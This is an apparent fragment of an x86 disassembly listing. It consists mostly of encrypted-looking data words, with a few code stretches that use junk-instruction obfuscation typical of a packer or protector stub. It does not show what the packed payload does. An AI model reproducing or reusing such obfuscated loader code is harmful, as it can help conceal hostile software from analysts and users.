381A8708h, 0ED3ECC85h dd 0A1118DA1h, 30D3E5BAh, 2030D301h, 0B7D26043h, 34127013h dd 32156610h, 6911A20Bh, 36D1E51Dh, 0DB11A2A1h, 0CDEA9F66h dd 98FCD6C6h, 0F53EA0CFh, 99118EA1h, 6911A292h, 0F69638D1h dd 0CBD28F40h, 0B7D299DDh, 34188FDEh, 3215668Dh, 0F196B8CFh dd 0B90B6526h, 351B7F94h, 780ED8Eh, 7C136145h, 3164DBA1h dd 3D146016h, 3214650Ch, 3DCD5D44h, 32156EA0h, 3DCF5D11h dd 32154D0Eh, 17A0EF44h, 0B9136130h, 3FFCA98Ch, 1649678Eh dd 32CB8F48h, 0F54A6622h, 35161794h, 3215678Eh, 6C4C3D44h dd 0DB11A2A1h, 0CDEA9EE6h, 2424DB0Bh, 3D146043h, 3215DDA6h dd 2B884D11h, 0B9136186h, 350683C9h, 19DE6524h, 37FCE5DEh dd 0A3BF8F38h, 36D1E5EFh, 0B14B3F79h, 1CFC62D5h, 0F5EA9971h dd 3FFCA9C1h, 32156424h, 3DCBED11h, 0CB95683Eh, 3A9669C4h dd 31156622h, 3FFC25C8h, 0B2156688h, 0EBE299ADh, 32EA87A3h dd 0EB3E6611h, 3C0CE303h, 0A79E6043h, 34126717h, 0CDEA20F8h dd 0FD90A177h, 30136BADh, 0B9156622h, 3CA369CFh, 3D959F08h dd 32156EC7h, 71CC6522h, 32156BF8h, 0CDFCE688h, 0D394BFB3h dd 321566DDh, 0B79EBF3Ah, 34126891h, 3320F3CFh, 8F966025h dd 34127020h, 0FB916989h, 9EA99BAh, 3A9769FAh, 9156611h dd 55936952h, 7CEA99B9h, 0FD3EA8A9h, 82108F92h, 9984CC61h dd 0CDEDEEADh, 0E13ECDDh, 349169F9h, 0CA156688h, 32157EADh dd 0EC9E3522h, 0B1143812h, 0DAA5634Bh, 0B1CA4DEEh, 998662C9h dd 37D3E54Ah, 5444A571h, 0F12960CFh, 3255E22Dh, 0F9296611h dd 322DE287h, 0F0296644h, 322DE22Dh, 0F8296611h, 3225E287h dd 0F736644h, 0B61A43DDh, 32156621h, 0CD3B5BEEh, 3218E34Bh dd 749F6622h, 0EE54213h, 11916928h, 6B156644h, 322C8FDAh dd 0FB266611h, 320C8FC9h, 31AC6644h, 0DB156622h, 3215661Eh dd 32156031h, 32108F44h, 35AC6622h, 0C1156611h, 798ED2Ch dd 0B7136145h, 349069EBh, 0BB156611h, 3514533Dh, 0F1EC3F42h dd 0E13ED44h, 579169D2h, 0B8156688h, 0C2F6E69Ch, 3D659DA2h dd 3215FA95h, 3DFC5A88h, 321529C0h, 3DFE5A22h, 32152195h dd 3DD75A88h, 321559C0h, 3DDE5A22h, 32155195h, 0CD280088h dd 1F916961h, 0E156622h, 179169DBh, 0E156688h, 509169A7h dd 54156622h, 3DEA482Ch, 32156B0Dh, 3053EC44h, 92299606h dd 3213E21Eh, 0DBED6688h, 3215664Bh, 3320D3ABh, 0AF986016h dd 34185908h, 0F1ECB5BBh, 2253ED72h, 12F0E398h, 0B14D608Fh dd 8F987A82h, 34127EEBh, 165165BCh, 8F98CDACh, 34124AADh dd 1651658Fh, 0BFBE3635h, 351A4B35h, 7616CB42h, 6CBE4E06h dd 0AF9830D2h, 341859D1h, 95FCB5BBh, 0DFFFFFFFh, 6CD24ECEh dd 8AFD4AA8h, 0F251A245h, 5D3AC0D5h, 0ED96A448h, 8A152AA8h dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh dd 8660D554h, 2559D7BAh, 87C74ECEh, 32DCF143h, 8C18F96Fh dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 7A2538C8h dd 7462C59h, 0A58299DFh, 3C6D552h, 92B85E00h, 5E98354h dd 0CB8BA4F3h, 0DABA31E4h, 32565DB1h, 87BC2FEBh, 52505AF6h dd 99D113Ch, 77DDD3BCh, 0B95163B9h, 75DF79F4h, 221331B5h dd 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h, 3543F034h dd 0F305E983h, 11F1B0A4h, 0FD7AF29Dh, 17FB2375h, 0FB77100Fh dd 0F53FD525h, 561FADFDh, 34229178h, 0AC7ACFB7h, 0AD29B723h dd 0FD7A1A20h, 7C277975h, 0F0D62798h, 11FFA073h, 7D7C22DFh dd 5E983C8h, 0DB8BA4F3h, 0E9DBBD8Dh, 8D8D060Dh, 60E04C2h dd 156644B8h, 0C1CF2B32h, 73102E9h, 0C783C8D0h, 850F4904h dd 0FFFFFFF2h, 0BD83C08Bh, 6070211h, 83097500h, 70D65BDh dd 19740006h, 0C08B5350h, 411B8h, 0A9858900h, 8D060723h dd 9AB0F9Dh, 5BD3FF06h, 65BD8358h, 6070Dh, 53501774h, 411B8h dd 0A9858900h, 8D060723h, 9A7B09Dh, 5BD3FF06h, 0BBC08B58h dd 4672A4F2h, 51504EBh, 29E924D8h, 31000005h, 3E9CE884h dd 44A2EE7Ch, 47A5F17Bh, 47A5F19Bh, 0BEA8F480h, 0F955C9Dh dd 179D65C3h, 19A76DCBh, 20AC6FCDh, 17E661D4h, 0F0026124h dd 0BE765A39h, 0AF1BE0FBh, 5107EE01h, 0F1A430F3h, 9C17B376h dd 0BD4CEFBEh, 0C111F60Ch, 0BE51F8FEh, 5DE3AA08h, 0C4BD84E2h dd 452A42EDh, 0A359A9E9h, 0AA36F957h, 3CD699F7h, 0E89BEB79h dd 0BF3AC88Ah, 44069861h, 63B303B6h, 0DF82FAADh, 13E25D47h dd 0F60CB020h, 0D937ED3Dh, 0E03E8A16h, 0E2408C1Ah, 85E3961Ch dd 0F08437BDh, 0F59AB275h, 0ECC77645h, 4898F60Ch, 0FA67CC85h dd 3C89A144h, 0B275F076h, 0FCCB33C8h, 0BC08BEB9h, 1FF07E41h dd 0EF7F6843h, 0CD91D20h, 0A2F242F6h, 2FCB8EECh, 2C0A6683h dd 2D23870Dh, 0BDA8DDDh, 0F60C3A25h, 0AA5DEBAEh, 4CFF854Ch dd 0DA1931D4h, 0B9C66003h, 93C38BF7h, 7237h, 18DB5300h dd 290AD98Ch, 35F60C67h, 9510B892h, 35E87437h, 672716E5h dd 0E838F60Ch, 2ED09232h, 11093C3h, 2C000000h, 0E19A60BEh dd 0C672312h, 9CEC3CF6h, 38C688E6h, 0EAAC0A85h, 8648A65Ch dd 3BE745F8h, 0EB66DE91h, 5A7B1D28h, 0D68C70C6h, 0CCE1B33h dd 0F4B7327Eh, 89189BF7h, 2D8B4129h, 0E863DE6Ah, 0C001A19h dd 6BF9BFF6h, 3E8E68B8h, 0DB583C88h, 35BB8214h, 12D432E5h dd 940FD184h, 32E57336h, 0A59867E2h, 0BAF60C67h, 3911B46Ah dd 135FE5ACh, 0B366F2B5h, 8D088C55h, 67F04312h, 0BF84F60Ch dd 1E829020h, 681E6E48h, 76F16CB5h, 0CC694A7h, 0F106C9F6h dd 0AF384275h, 45E89EEEh, 0BAEC9EEDh, 852C93C3h, 48000000h dd 0DD9014DBh, 0B23C0462h, 0E2ECAFFFh, 0CEB435A3h, 753E9C52h dd 49C43CEFh, 0EDA024EBh, 0E053229Dh, 7DF60CAFh, 7AD4772Dh dd 0D01CA86Fh, 7225AB72h, 13C66814h, 800F27CAh, 93C3F4CEh dd 670Eh, 60BE2A00h, 8580B99h, 3320E045h, 0D0864684h, 6B17AB72h dd 60BE71C1h, 0AF35FE9Ah, 8B4EAC5Fh, 26EC4AFDh, 6D10EDA0h dd 0BE3916D5h, 540AB460h, 0B42F99B1h, 0C1D56E5h, 0E2A907F6h dd 0FA580E5Eh, 7D61AD33h, 0D88B19DBh, 0C672709h, 0B69033F6h dd 0C32F27E9h, 0E6793h, 8EEC0000h, 0F6C540C6h, 0F60C6B47h dd 2E12C818h, 0D78A12DBh, 772AB679h, 0BEE640E3h, 67C17443h dd 239EF60Ch, 0C67E154h, 0DE2E7EF6h, 7B01CA28h, 0DC7E402Fh dd 88D88B19h, 67FF3E0Dh, 1060F60Ch, 4A7645C0h, 1BFC1390h dd 0F7BA18CBh, 44A21D69h, 0F040F381h, 1819DC3Ah, 0D173DE24h dd 6CE737A3h, 0BD1322F1h, 0FC4CF00Bh, 73C49346h, 0E5F00BBDh dd 1ADDE842h, 4CC7428Eh, 0BBDBE7Dh, 0C2FFEF0h, 51F00BBDh dd 21D72701h, 0C17400C3h, 9914A063h, 3AF0743Bh, 822C587h dd 226EFABDh, 0CB08C082h, 0CC0099h, 4A1C0000h, 0AA79F474h dd 0FC138676h, 5EBC6FBFh, 46C10D9Bh, 0DE9422E8h, 7C2FBD80h dd 1ACD5B1Eh, 339DB558h, 0BC0ACB70h, 0DB9157D1h, 0E22EBA7Dh dd 0BC400967h, 6303B909h, 99CA82A1h, 2EE1h, 8D4AFD00h dd 3CAF7EF9h, 81F60C68h, 8CAF7E31h, 2FF60C67h, 4196B28Ch dd 88FBCA45h, 0F5F60C68h, 670359A5h, 88000000h, 28DB612Ah dd 4A3E22D8h, 0AA79F474h, 0FC13883Ah, 22803383h, 2785D15Fh dd 5625D864h, 0F00B48E8h, 2F00C33Eh, 7BC7F8B1h, 50EA8D43h dd 6028C285h, 83D323D6h, 7F764837h, 9F68651Dh, 80FB4B25h dd 78BB8A05h, 0E5F00B35h, 9410DF95h, 0F9FA1D3Ch, 0D598F6A9h dd 5D009447h, 115767C5h, 3ACDC796h, 0D222FC13h, 744AA286h dd 0E29523E6h, 4CC74292h, 27AD73D1h, 0C67E558h, 742A7AF6h dd 1A6E2FA5h, 7D3080FCh, 26DBA402h, 261E457h, 0D92979F0h dd 792CB87Bh, 52157329h, 1D04BC6h, 0F0026132h, 0D925DB2Bh dd 0B12CB87Bh, 9B7E68EEh, 3F341161h, 7284505Ch, 0AC7BF646h dd 0F0024E89h, 1DD086D6h, 0F69844A2h, 0CF95F343h, 883E8E41h dd 0EC5F1FB9h, 0EF47EA1Eh, 45911FE2h, 0E59824E7h, 5B23DB87h dd 3ACE81D1h, 6F32BF97h, 743795E1h, 13DF35E8h, 64000000h dd 0EE1A9BA1h, 0B6120E01h, 2B894C7Bh, 371BD116h, 2EDB694Dh dd 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h dd 0E995F3A6h, 69329043h, 10D230E3h db 82h, 0CFh, 7Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push edi mov edi, 6DC24101h sub edi, 1D143574h shl edi, 4 xor edi, 41881908h dec edi add edi, 0BAA5647Fh mov esi, edi mov edi, [esp] add esp, 4 push esp mov ebx, [esp] add esp, 4 push 6A9Ah mov [esp], edx mov edx, esi mov [ebx+8], edx pop edx push dword ptr [esp] pop ebx add esp, 4 mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5438DD ; --------------------------------------------------------------------------- db 4Dh dd 0E0AE2B8h, 0FFC50306h, 11DA0FE0h, 0F2161029h, 0B798F148h dd 0FFC3AF18h, 0E22EC87Ah, 6937A646h, 949224Ah, 2BD48B06h dd 37BB415Ch, 0E168342Eh, 2354012Fh, 7FA667Eh, 4519B245h dd 2504EB31h, 0E92B374Dh, 53Eh, 0B57F5A2h, 115DEBADh, 1662EAB3h dd 16620CB8h, 1763F1B8h, 4CB0C2Dh, 0ED63480h, 18DE3C88h dd 1DE03E8Ah, 55D0438Fh, 26CB786h, 0E5C9A8F0h, 0B57E18DBh dd 551E7C2Fh, 7CCC1CCFh, 60EEB12Ch, 0DE59B358h, 0E846F9AFh dd 0E9479321h, 39C38C26h, 15D83686h, 9843787h, 0DF6D308Eh dd 2E0DDC2Ch, 2FF60C77h, 8CB29DFh, 0A96BC97Ch, 9642A01Bh dd 773FFECDh, 0D020F60Ch, 9F17CA80h, 0D49722FCh, 0D89EFC48h dd 0AF71CF4Ah, 0C11F6B21h, 47C275FBh, 773EFDCCh, 0CF1FF60Ch dd 69F3BB19h, 0A77F22B6h, 82CE541Ah, 20D36124h, 0C77EF51h dd 7ED87BF6h, 0C33F6F31h, 9259B793h, 550B5B0Eh, 6FD2h dd 18DBEE00h, 34AA6119h, 9EEE001Ch, 4B1270EBh, 1767F5B7h dd 0DAA19261h, 1ABDF60Ch, 0EBB17300h, 9BF993C3h, 13964CD8h dd 0Bh, 0EF4E1D98h, 70F60CAEh, 0BE866A20h, 58AC05FBh, 2FE57F25h dd 0CE810FD1h, 26F5AE70h, 0F60C5E17h, 0F5A8F848h, 0D8A1FF7Ah dd 5EB68554h, 57A7F60Ch, 0F59743A1h, 0F27CA42h, 267200C2h dd 0BD6905C8h, 9F83CF1Fh, 0F106FBBEh, 49239159h, 0FC4CFF9Dh dd 0FF854EACh, 0E846FC4Ch, 82E09321h, 0BD7F32C0h, 971DE442h dd 3BDE94E4h, 0E0FD6E3h, 9F4B6D9Dh, 37FA4AFDh, 8ADAF030h dd 8A36940Fh, 6F2615E4h, 0E737F60Ch, 0C487E531h, 8F0A8538h dd 0C6F7DC0h, 0D884E2F6h, 0E3338336h, 8538BC85h, 58217F35h dd 5DD821D4h, 0FBAE36FFh, 0FE8A4DABh, 0A245FB4Bh, 3549FB88h dd 598993C3h, 0A5000000h, 0DD9014DBh, 0B32EB67Fh, 52059355h dd 21994C02h, 5219A47Eh, 5D2482CEh, 1AC624D7h, 9D63C174h dd 5A066417h, 0CA6D01B4h, 872A7370h, 2D2EE0AFh, 6A6E93C3h dd 8A000000h, 0BA8214DBh, 0EE69E434h, 0C671C1Fh, 3BF141F6h dd 0DE642A88h, 93AB4E2Bh, 1BE37F46h, 11F54191h, 108B19DBh dd 664EAB2h, 4CFFB543h, 0C67B37Dh, 5B5820F6h, 0C4E04B8Dh dd 43F64604h, 0E29523E5h, 55A59867h, 6ABAF60Ch, 8550EA8Dh dd 348437BDh, 0D06A0DE4h, 9F9E6DE8h, 0C0F60C55h, 581ABA70h dd 9893C361h, 1, 8A12DBB4h, 1CB679D7h, 0C717CA54h, 8D30C477h dd 0D55F28B5h, 0A236FC5Ah, 4C0252E0h, 0BBAD1100h, 904F7140h dd 1977FC13h, 3913C957h, 5CF70376h, 0B42AE8Dh, 9C5FAFF0h dd 3383DA7Fh, 0D15F2280h, 0EAAC0A85h, 0A359A95Ch, 43F68245h dd 0BB1C374h, 571A95F0h, 0BF9DC67Ah, 4C5D28Bh, 9AD36C06h dd 59F1944Ah, 0EF3BC98Ch, 0C6541674h, 53EFB210h, 36B1018Bh dd 0D38610D8h, 8AAA8958h, 63B3F00Bh, 4CAA5D13h, 3201D089h dd 2BF00B8Ah, 0CD8004CDh, 2ADD2D7Dh, 606DC568h, 23C30F9Dh dd 99CB1C61h, 0FC884BA9h, 115C346h, 4ADF0000h, 0AA79F474h dd 0FC138676h, 9F9E61BFh, 0B4798EEEh, 0F7AAFAA6h, 29A457A7h dd 0CD8004CBh, 6C1FAD6Fh, 0B816CC1Ch, 0BD1B67F5h, 5DBB6EFAh dd 995B0E9Ah, 0CE915CF6h, 78054DCFh, 0A6758DEAh, 0F00BCD97h dd 0D82878C8h, 0D92AEC8Ch, 496A99CAh, 86000000h, 7EF98D4Ah dd 53F9A503h, 0CB9A50A0h, 0F60C68D8h, 5322D525h, 0F60C67E0h dd 0B61E38DBh, 53069058h, 795E4D03h, 6C34920Dh, 29DF2FE2h dd 68ECDFAEh, 35B0F60Ch, 0B6850FD7h, 0F60C6787h, 0F8D288D8h dd 7C065CA8h, 22000000h, 0FAC9744Ah, 0F60C673Bh, 984D424h dd 6534E5ABh, 0F60C67D6h, 31E73787h, 88E5E7B6h, 0A5AFC13h dd 0AA36F957h, 9356B42Fh, 47073605h, 858F00Bh, 0E5A80652h dd 18868749h, 6F6A5BFCh, 9D50A0F0h, 0B2660CEh, 0ED4BC6F0h dd 96E69927h, 0D8E53DE0h, 2AB67915h, 1F9F8EDAh, 72FFCE49h dd 0D7FA1D3Dh, 792CB079h, 0C826D929h, 30C47705h, 2797B58Dh dd 0AF7C641h, 5FFC1336h, 4ADFC30Fh, 0AA79F474h, 0FC1A73C5h dd 0B02BDE2Eh, 0EB3F7BEDh, 97E79A22h, 0CE576D4h, 0A735F856h dd 0AE3AFD5Bh, 6E3DB833h, 0F002B4CFh, 0C2714090h, 9BF002B4h dd 0B4E25120h, 2B7BF002h, 892018DBh, 0DE932C37h, 24A67528h dd 0FF254B49h, 34F7C25Ch, 3BFE5CA8h, 0F09CFAADh, 64079B4Eh dd 853CFFCAh, 3BB687B6h, 3888D8DDh, 12CB8EECh, 3BB6F043h dd 9F3DE9DDh, 72C29CECh, 79F46F22h, 3BB68BAAh, 0D16433DDh dd 8EDD3BB6h, 5E14643Eh, 308h, 694D2400h, 0DB8E2EDBh, 7B2EBA7Dh dd 16C9571Dh, 0B366F0B8h, 4F028E55h, 0F3A62AF1h, 9043E995h dd 30E36932h, 0CF8210D2h, 76E0687Eh, 3C890000h, 0E2895224h dd 4C281h, 0EA830000h, 24148704h, 242C895Ch, 0A1868h, 24048900h dd 6ED7BA52h, 0E2C10ADCh, 16EA8108h, 8163FB10h, 9A44DDC2h dd 8BD5898Dh, 0C4832414h, 1E3A6804h, 24890000h, 24048124h dd 4, 4EC8358h, 8F242C89h, 34FF0840h, 0C4835824h, 242C8B04h dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFF96B85h dd 21D9953Eh, 84B8E5C5h, 3060E10h, 0BBE0FFC5h, 83404C3Dh dd 2551ED09h, 0F105E2C7h, 0AA4AFE79h, 380AF6C6h, 833F72CFh dd 0D001D962h, 9F676732h, 770B4436h, 7D41FFC1h, 0CF4BE443h dd 955845Fh, 0CA107C4Fh, 932A1D7Eh, 0ED2045C4h, 0BE1991FFh dd 47DBE5Eh, 0EB2670B7h, 0F546722Eh, 597D35EFh, 172776A1h dd 6A4BDFB3h, 0B65ADD74h, 56111881h, 0B71CC3CDh, 0E86ECCCCh dd 7, 9D6F14BCh, 5343DB63h, 0A80BB966h, 8B665F5Bh, 33C781DAh dd 0F000065h, 13B8DAB7h, 0F000019h, 0E8Ah, 9E900h, 0D42F0000h dd 0C60F3AC5h, 0FF6084DBh, 0D7BF0F37h, 10E9505Eh, 0AE000000h dd 4B076150h, 0FCE0D4CCh, 0DCCA9805h, 5B9E2703h, 2097C681h dd 0BF0F0AFDh, 52EE81DAh, 816B9BCCh, 0E412DDC9h, 0C0F68123h dd 666EED2Fh, 0D9BBD981h, 0DE956h, 0A1560000h, 0D55993B6h dd 0D9AB5F83h, 8F3C086Fh, 0AE807h, 5F90000h, 0A0B182B3h dd 0BE5334CBh, 5840Fh, 81660000h, 5A6828DBh, 5001EF83h dd 0A5B2B966h, 4F4F4F5Bh, 47B966h, 1E881h, 850F0000h, 11h dd 2AE9h, 58B79C00h, 3DCC4215h, 1EEEB8EDh, 0BA666085h dd 0BB66DF53h, 0E96194BCh, 0FFFFFF57h, 0A4D0022Eh, 0A7C958CBh dd 87A51FA5h, 0EB39F8BDh, 8, 1EFB2300h, 4F9E910h, 90680000h dd 0E9060E13h, 0FFF96A05h, 0E140368h, 69FBE906h, 7B68FFF9h dd 0E9060E15h, 0FFF969F1h, 0CF1BC16Eh, 0D521AF71h, 0DA26AE77h dd 0E22ED07Ch, 0EB37BD84h, 0E0A7E001h, 0E2AA0854h, 0ECB2105Ch dd 0F9BC1A66h, 31AC1F6Bh, 275D362h, 0C9AD8CF0h, 0BC8214DBh dd 0F792B8C3h, 24748416h, 1ED12171h, 236FFDC0h, 0DD08A34h dd 0E5B42F7Fh, 0FC135153h, 3201B404h, 0F00B4D0Fh, 0D38628D4h dd 7528AC75h, 0B93610B3h, 0D197F570h, 981CE543h, 98E73FE2h dd 99CA58D6h, 32E16h, 0F2803200h, 984E4DAh, 137D1A3Ah dd 0B83383FCh, 0BACD1FF5h, 0B8448EBh, 2C515F0h, 45FB43C7h dd 5E521590h, 0FE94B19Eh, 5609935Ch, 6C3BB606h, 0F00B65C9h dd 0C1904696h, 0F576CCE7h, 58B51AFh, 5D4C0252h, 0BD8C0761h dd 771F5ABh, 2A19CC1Ch, 8A59D494h, 176EDD2h, 0CCC1D79Ah dd 334A8F14h, 0D853A37Dh, 0AE29B77Ah, 7E688FEBh, 0A3595E9Dh dd 0BB7EDC57h dd 5619772Dh, 65FC6BCAh, 0E194B979h, 3158Bh, 1EBE6B00h dd 24B274D2h, 2BB17AD8h, 37D581DFh, 3AC68DEBh, 0AAE304EEh dd 0B3115DE3h, 0B71561EBh, 0B91763F1h, 0AB1E6AF6h, 74D26130h dd 0AC8BF002h, 0E6744AC8h, 93E39624h, 0EF4DC843h, 9AEA9D27h dd 7A8215E4h, 0C313FC1Ah, 9D23EA48h, 0A82CF351h, 7E06CF2Dh dd 0F84615C8h, 0B0F00275h, 8AD76635h, 38880FFDh, 0D3612482h dd 0E9C9FD74h, 88DE91BAh, 2A2h, 3F8B31DEh, 45911FE1h, 4A961EE7h dd 529E40ECh, 5BA72DF4h, 50175071h, 521A78C4h, 5C2280CCh dd 692C8AD6h, 0A11C8FDBh, 27363D2h, 391DFCF0h, 79F4744Ah dd 1A7A2FAAh, 752878FCh, 4CDA9CFAh, 0C4934999h, 0F002757Dh dd 317ED87Bh, 99D13D6Fh, 1E2AFh, 60BECB00h, 2114E398h dd 3EF60C67h, 9BEB9EEEh, 3BEE7A3Dh, 14D735EBh, 0B477D588h dd 159E3AFDh, 146A6EF1h, 0C67F645h, 0C71767F6h, 9F3D007Bh dd 0C8ADF20Bh, 0A2F27A43h, 0A7C1FDECh, 9C235D2Ch, 4494FC13h dd 0C4531691h, 9016135Eh, 1827F6ACh, 0DEF00B4Bh, 0D294E33Bh dd 1299CA56h, 3Bh, 0E9773997h, 4C30E636h, 0B9960BEh, 63520858h dd 17920D5Bh, 676ECD9Ch, 9FEFF60Ch, 3EF47841h, 13756D6Fh dd 0AF62B2FCh, 0B6A51E0h, 5AF497F0h, 0CA3B8B4Dh, 0DACB99h dd 0BEE70000h, 67C17443h, 4E9EF60Ch, 0E9773A98h, 8311D836h dd 21AF72D0h, 0B14D106Eh, 49254EEh, 10CF1B4h, 0D94CBFFh dd 0BDA271BDh, 75F60CC0h, 10C35117h, 0E9AC0AC0h, 731DE05Bh dd 8EA6FE6Ch, 47C3A164h, 0F8DE32C6h, 0B707F642h, 814ADCA3h dd 0A8F848FBh, 0DE0EDD58h, 1FFC16C0h, 5ED954CFh, 51FAC8Fh dd 6736B1F0h, 0F0051FD4h, 33E93989h, 36820ED5h, 0FEA8F8BBh dd 57C4B1EFh, 0F87C43A1h, 0D1BCE299h, 2D8336AEh, 12Ah dd 0B703A956h, 0BD099759h, 0C20E965Fh, 0CA16B864h, 0D31FA56Ch dd 0C88FC8E9h, 0CA92F03Ch, 0D49AF844h, 0E1A4024Eh, 19940753h dd 272EB4Ah, 0B19574F0h, 449014DBh, 9B6A23E6h, 0F60C6798h dd 541775C5h, 0B12C78C8h, 4E018B53h, 0E79A44F0h, 0AD914797h dd 118C18DBh, 915707B3h, 0B0005003h, 26E947FAh, 10D34E9Ah dd 71BD0C8Ah, 18A6C492h, 0F5A58FE9h, 0BE00EFA5h, 38835D37h dd 0DC3AE4D0h, 88D88B19h, 0F5EEBD38h, 5EFC136Bh, 83ADF49Bh dd 0FE4E299Ch, 0D25E2583h, 3388B786h, 9659F00Bh, 9960BE0Ah dd 0B4833AFDh, 0F00B3381h, 8B3E8EDEh, 0E238EB3Bh, 76h dd 1E1DEC67h, 3FF00B33h, 4A5539EFh, 0AA79F474h, 0FC1A7A13h dd 0FE792C7Ch, 0DA678B3Bh, 6E24925Eh, 73BF4D10h, 13C65215h dd 13989544h, 69C1640Ah, 0BF0B995Ch, 97129E61h, 3BEE7239h dd 92A170EBh, 0CBE61247h, 0B412C57Bh, 55B36608h, 0F4520593h dd 78F0A331h, 0EA7E7DD5h, 1FE2EF47h, 24E74591h, 0C6AE598h dd 64FDC046h, 0C7112F41h, 3EB41F7h, 7000000h, 2EDB694Dh dd 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h dd 0E995F3A6h, 69329043h, 10D230E3h, 517ECF82h, 0C181E189h dd 4, 4E981h, 0C870000h, 0C895C24h, 0E3895324h, 4C381h dd 0EB810000h, 4, 5C241C87h, 56243489h, 0C681E689h, 4 dd 8704EE83h, 895C2434h, 0BF572414h, 217A5B9Ah, 886E2DBEh dd 8BFE2927h, 0C481243Ch, 4, 24148B54h, 4C481h, 0EC810000h dd 4, 81243489h, 2565242Ch, 428F2A68h, 8428108h, 2A682565h dd 5A2434FFh, 8B04C483h, 89512434h, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 651FE95Ch, 0DEF4FFF9h, 89431738h, 0B8644E70h dd 60E16CAh, 0E0FFC503h, 2E94CB96h, 65969FA4h, 4ABBE441h dd 317B431Fh, 7A1897A1h, 0EDE9h, 8C666000h, 0F04A8D8h dd 0DF84h, 9B58B00h, 8306071Ch, 850F00FEh, 22h, 152585C6h dd 68450607h, 8E726969h, 2939B5FFh, 858D0607h, 60A70F4h dd 8589D0FFh, 607191Dh, 3E80F08Bh, 31850FE9h, 8D000000h dd 0C659785h, 8BD0FF06h, 71B75BDh, 84C78106h, 8B000011h dd 71C09B5h, 0B9F78706h, 8, 0B58BA4F3h, 6071C09h, 1F4B858Dh dd 0D0FF060Bh, 2715B58Bh, 0FE830607h, 22850F00h, 0C6000000h dd 7152585h, 0F4685406h, 0FFFF4EBEh, 72939B5h, 0F4858D06h dd 0FF060A70h, 158589D0h, 8B060727h, 0E93E80F0h, 3A850Fh dd 0B58B0000h, 6072715h, 6597858Dh, 0D0FF060Ch, 1B75BD8Bh dd 0C7810607h, 1184h, 8B08C783h, 72715B5h, 0B9F78706h dd 8, 0B58BA4F3h, 6072715h, 1F4B858Dh, 0D0FF060Bh, 858DC361h dd 60E1790h, 29058589h, 8D8D0607h, 60E1986h, 1161958Bh dd 85890607h, 6071C05h, 0A018D89h, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 4E526DC3h dd 64F68336h, 85C707CEh, 60714A5h, 681Ch, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 14h, 0E9C35141h, 1058D89h dd 85C70607h, 6072FD5h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B6C35343h dd 54412BADh, 0F1EA4B5h, 0C89h, 68D0F00h, 8B000000h, 70599BDh dd 0E5BD0106h, 0FF060712h, 7045DB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 89E366E0h dd 72C7985h, 1995FF06h, 0E906071Ch, 14h, 79013164h, 0B634C0C8h dd 0BD2B1928h, 0D918ACB4h, 45A44A8Eh, 95FF006Ah, 6071B69h dd 7DEBC08Bh, 0CCF8AA31h, 0A1D19653h, 6711C11Fh, 0B04781D5h dd 0C67BBBE7h, 17A9EBFh, 0E17BEC6Ch, 831E448Ah, 2A1E4DDEh dd 1793820h, 0DF5B4EF1h, 34611F01h, 0D30F8DE1h, 623B7FF8h dd 0E2A47975h, 5D97DB47h, 1EC18223h, 966262B6h, 0D26A1B22h dd 5C9BA663h, 0CD8F7030h, 0B22BA876h, 0CF4993E6h, 818377A5h dd 7AA451E5h, 7808FBAFh, 0F415B268h, 827294FFh, 0EDC2063Ah dd 3F79DE17h, 0B1A86CDDh, 9704EB4Eh, 0E94E3A5Fh, 0D60h dd 0E1BDE68h, 6267E906h, 0D068FFF9h, 0E9060E1Ch, 0FFF9625Dh dd 0E1F0568h, 6253E906h, 0E68FFF9h, 0E9060E20h, 0FFF96249h dd 0E232E68h, 623FE906h, 9968FFF9h, 0E9060E24h, 0FFF96235h dd 0E25A468h, 622BE906h, 8734FFF9h, 793B99E5h, 78419FEBh dd 9E4AA8F4h, 8F56B400h, 0AACBB501h, 0DA26AA71h, 0DE2AB47Ch dd 0E02CBA80h, 0E531BF82h, 1528F772h, 4AF0027Dh, 0C992F06Bh dd 0DBA98D43h, 7BD98C18h, 1B792CB8h, 0BE1CCF55h, 5EBC6FF5h dd 2114E39Ch, 3EF60C67h, 8DEB9EEEh, 368639C7h, 5F9CB659h dd 0C30E28CBh, 189E6600h, 79C51565h, 81B483FEh, 0DEF60C67h dd 0B37AD88Eh, 0C083E12Dh, 60238134h, 0AF0D88D4h, 0BAA95FEDh dd 1AE96404h, 0FC136AE6h, 7D4CFF4Fh, 0F00B65B2h, 3356731Fh dd 5D96471h, 0C3863989h, 2CDE048Fh, 854CAA77h, 0E78A4CFFh dd 0A447904Fh, 0DC3BFD8Ah, 327B99CAh, 97000000h, 79F4744Ah dd 10423BFEh, 0E1212395h, 2A785C2Bh, 55A5FC13h, 356CD3A2h dd 0E78AF00Bh, 807E404Fh, 0E4BE99CAh, 43000000h, 2453580h dd 661CAEE6h, 7E18DB82h, 27772AB8h, 0FFC624D7h, 0EE91A5FEh dd 4494EDF6h, 0E4703391h, 1C1FEE69h, 0BDF60CF5h, 44946EFAh dd 260DB8Eh, 0B000B339h, 3DD99CFAh, 539FEF75h, 0CFE9E84h dd 12AC6FF6h, 2773C349h, 0C77A06C9h, 7142EE4Ch, 0CF193A2h dd 2C7CCCF6h, 31378776h, 0E8DE7B6h, 